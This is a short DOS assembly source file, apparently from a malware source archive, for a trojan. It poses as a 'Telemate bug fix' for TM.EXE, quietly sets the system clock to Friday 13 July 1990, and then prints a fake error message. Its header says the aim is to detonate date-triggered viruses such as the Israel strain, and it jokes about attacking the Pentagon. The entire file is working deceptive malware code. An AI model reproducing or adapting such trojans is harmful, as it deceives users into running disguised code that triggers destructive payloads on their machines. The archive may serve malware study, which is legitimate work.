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https://github.com/vxunderground/MalwareSourceCode
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33 lines
1.6 KiB
NASM
33 lines
1.6 KiB
NASM
;-------------------------------------------------------------------;
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; Simple little program to change the date to July 13th, 1990 ;
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; Which just happens to be a Friday...what a coincidence.... ;
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; This should be great fun if you have a virus or a program that ;
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; goes *BOOM* on Friday the 13th, such as the Israel strain ;
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; Have fun, and remember, I'm not responsible if you get your lazy ;
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; ass busted while trying to bring down the damn Pentagon ;
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; Kryptic Night - SMC - RaCK - U<< - PhD ;
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;-------------------------------------------------------------------;
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CODE SEGMENT
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Assume CS:code,DS:code
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ORG 100h
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start: Jmp begin
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text1 db ' Telemate bug fix for version 3.0+$ ' ;Bogus filler text
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text2 db ' TM.EXE fixed!$ ' ;Bogus filler text
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text3 db 07h,'Error! Cannot alter TM.EXE$ ' ;Printed after change
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Begin proc NEAR
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mov ah,05h ;Function 5 - Set Real Time Clock
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mov cx,1990h ;What century
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mov dx,0713h ;Month/day
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int 1ah ;Execute
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mov ah,09h ;Funtion 9 - Print string <end in $>
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lea dx,text3 ;What text to print
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int 21h ;Execute function 09
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int 20h ;Quit .COM file
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begin endp
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CODE ENDS ;End segment
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END start ;End program
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